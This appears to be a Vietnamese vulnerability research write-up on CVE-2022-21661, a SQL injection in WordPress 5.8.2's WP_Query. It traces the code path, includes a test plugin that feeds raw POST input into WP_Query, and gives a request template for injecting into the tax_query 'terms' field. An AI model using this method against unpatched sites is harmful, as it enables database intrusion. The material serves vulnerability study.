###### tags: `Research` `CVE`
# [CVE-2022-21661] WordPress Core WP_Query SQL Injection
## How to deloy local ?
- Cài đặt xampp trên local
- Download source code wordpress release 5.8.2
- Giải nén và chép toàn bộ source code vào `htdocs` của xampp
- Mở dịch vụ apache và mysql
- Cung cấp thông tin và cài đặt wordpress
## Bug
Compare 2 version `5.8.3` và `5.8.2` của wordpress, ta thấy

file `wp-includes/class-wp-tax-query.php` có sửa một chút ở dòng 559 cụ thể hơn là ở hàm `clean_query()`, theo như mô tả thì lỗ hổng xảy ra ở biến `$query['terms']` không được filter kỹ càng và đưa trực tiếp vào câu lệnh sql => dẫn đến lỗ hổng sql injection.
Hơn nữa `clean_query()` được gọi ở hàm `get_sql_for_clause()` nằm trong file `wp-includes/class-wp-tax-query.php`, và hàm `get_sql_for_clause()` này sẽ trả về câu lệnh sql nên rất có thể đây là sink của lỗ hổng này.
```php
// wp-includes/class-wp-tax-query.php
... snippet ..
public function get_sql_for_clause( &$clause, $parent_query ) {
global $wpdb;
echo "[+] get_sql_for_clause called\n";
$sql = array(
'where' => array(),
'join' => array(),
);
$join = '';
$where = '';
$this->clean_query( $clause ); // Bug here
... snippet ..
return $sql;
?>
```
nhưng theo mô tả thì

lỗ hổng này tồn tại ở `WP_Query` class trong khi bug ở class `WP_Tax_Query`, rất có thể là 2 class này chain nhau từ đó dẫn đến lỗ hổng trên.
## Analysis
### Chain
Ta chỉ cần dùng chức năng `Find Usage` của `PHP Storm` để trace code và tìm chain
```
WP_Query:_contruct()
WP_Query:query()
WP_Query:get_posts()
WP_Tax_query:get_sql()
WP_Tax_query:get_sql_clauses()
WP_Tax_query:get_sql_for_query()
WP_Tax_query:get_sql_for_clause()
```
Từ `WP_Query:_contruct()` nói chính xác là hàm khởi tạo của `WP_Query`, nếu ta có thể control được giá trị của các property của `WP_Query` thì từ đó theo flow code sẽ trigger được lỗ hổng.
### Idea
Vì lỗ hổng này tồn tại trong một số theme và plugin, nên cách của mình ở đây sẽ là upload một plugin chứa function dùng để tạo một instance của `WP_Query` với các trường data được control thông qua `POST` method, sau đó bind nó vào một action để tiện cho việc gọi.
### Entry point
Vì khi chạy wordpress sẽ load hết các plugin đã được active, nên vì thế ta cần tìm nơi để có thể gọi action này, có một endpoint `/wp-admin/admin-ajax.php` có chức năng như một API để phục vụ cho việc truy vấn hay lấy dữ liệu thông qua biến `action` mà ta có thể custom để gọi `action` mà ta muốn.

Tạo một plugin như sau:
```php
<?php
// Exploit.php
/*
Plugin Name: CVE-2022-21661 Exploit
Description: This plugin was made in order to test ( CVE-2022-21661 )
Version: 1
Author: nhienit
*/
function Exploit() {
$args = $_POST['payload'];
$malicous_wp_query = new WP_Query($args);
return $malicous_wp_query;
}
// User logged require!
add_action("wp_ajax_exploit", "Exploit");
?>
```
Zip file `Exploit.php`
```bash
zip exploit.php Exploit.php
```
Và upload plugin

Sau khi upload nó sẽ nằm ở `wp-content/`

Ở đây, mình đã thêm một action cho plugin đó là `wp_ajax_exploit` để gọi hàm `Exploit`, vì sao lại đặt như thế?
Sơ qua một chút ở file `wp-admin/admin-ajax.php`

Action có 2 loại là `wp_ajax_nopriv` và `wp_ajax`, một cái không yêu cầu authen và một cái yêu cầu authen, format sẽ có dạng như `wp_ajax_<action_name>`.
`action_name` này được lấy thông qua `url_query` hoặc `body`

Để gọi thì ta chỉ cần gọi `action=exploit` để trigger function `Exploit`

### Exploit
Ở hàm `WP_Query::get_posts()` sẽ gọi đến hàm `$this->parse_tax_query()`

hàm này chủ yếu sẽ tạo ra một instace của hàm `WP_Tax_Query` và gán vào `$this->tax_query` trong đó hàm constructor của `WP_Tax_Query` sẽ nhận vào là giá trị `query_vars` của class `WP_Query` (mà ta có thể control được thông qua $\_POST['payload']), các đối số này sẽ được parse và làm argument để tạo `WP_Tax_Query` instance.

```php
// WP_Query::parse_tax_query()
public function parse_tax_query( &$q ) {
if ( ! empty( $q['tax_query'] ) && is_array( $q['tax_query'] ) ) {
$tax_query = $q['tax_query'];
} else {
$tax_query = array();
}
if ( ! empty( $q['taxonomy'] ) && ! empty( $q['term'] ) ) {
$tax_query[] = array(
'taxonomy' => $q['taxonomy'],
'terms' => array( $q['term'] ),
'field' => 'slug',
);
}
... snippet ...
$this->tax_query = new WP_Tax_Query( $tax_query );
do_action( 'parse_tax_query', $this );
}
```
có thể thấy `$q` phải là một mảng chứa key là `tax_query` và `$q['tax_query']` phải là một array => argument của WP_Tax_Query::constructor() là một array
```php
class WP_Tax_Query {
public $queries = array();
...
public function __construct( $tax_query ) {
if ( isset( $tax_query['relation'] ) ) {
$this->relation = $this->sanitize_relation( $tax_query['relation'] );
} else {
$this->relation = 'AND';
}
$this->queries = $this->sanitize_query( $tax_query );
}
...snippet...
}
```
ở contructor của `WP_Tax_Query`, có thuộc tính `queries` và đây sẽ là thứ sẽ đưa vào câu query, vì thế mục đích là ta sẽ chèn payload vào biến này. Như đã thấy thì `$WP_Tax_Query->queries` là một mảng, tuy nhiên giá trị của `queries` sẽ là giá trị trả về của hàm `sanitize_query`, mục đích để filter `$tax_query`.

hàm `sanitize_query()` sẽ trả về giá trị của `$cleaned_query`, chổ này sẽ loop mảng `$queries` nhưng để đảm bảo `terms` không thay đổi thì ta cần phải pass điều kiện `self::is_first_order_clause( $query )`.
Để pass thì những `query` con của `queries` chỉ cần thỏa một trong các điều kiện sau:

Payload như sau:
```
action=exploit&
_wpnonce=ce659e8ba6&
payload[tax_query][nhienit][operator]=IN&
payload[tax_query][nhienit][terms]=<inject>&
payload[tax_query][nhienit][field]=term_taxonomy_id
```
nhưng vì sao `field` phải bằng `term_taxonomy_id`, vì ở hàm `WP_Tax_Query::clean_query()`

nếu `field != "term_taxonomy_id"` sẽ throw error do `taxonomy` chúng ta không post biến đó lên hoặc cũng có thể pass điều kiện `! taxonomy_exists( $query['taxonomy'] )` này, nhưng giá trị của `taxonomy` khó xác định được. Pass được câu if đó thì biến `$query['terms']` sẽ được bảo toàn và thực hiện `transform_query()`.
Xong sẽ trở về hàm `get_sql_for_clause()` để thực hiện construct sql query, vì operator mình post lên là `IN` nên sẽ nhảy vào nhánh này

ta thấy `$query['terms']` được sử dụng mà không thực hiện cơ chế filter nào, dẫn đến lỗ hổng SQL injection.

## PoC

do mình đã bật debug nên ta có thể thấy được lỗi. Nếu trang web bật chức năng debug ta có thể dễ dàng khai thác lỗi `error-based`

## References:
- https://www.buaq.net/go-99941.html
- https://confidentialteam.github.io/posts/cve-202221661ar/
- https://www.zerodayinitiative.com/advisories/ZDI-22-020/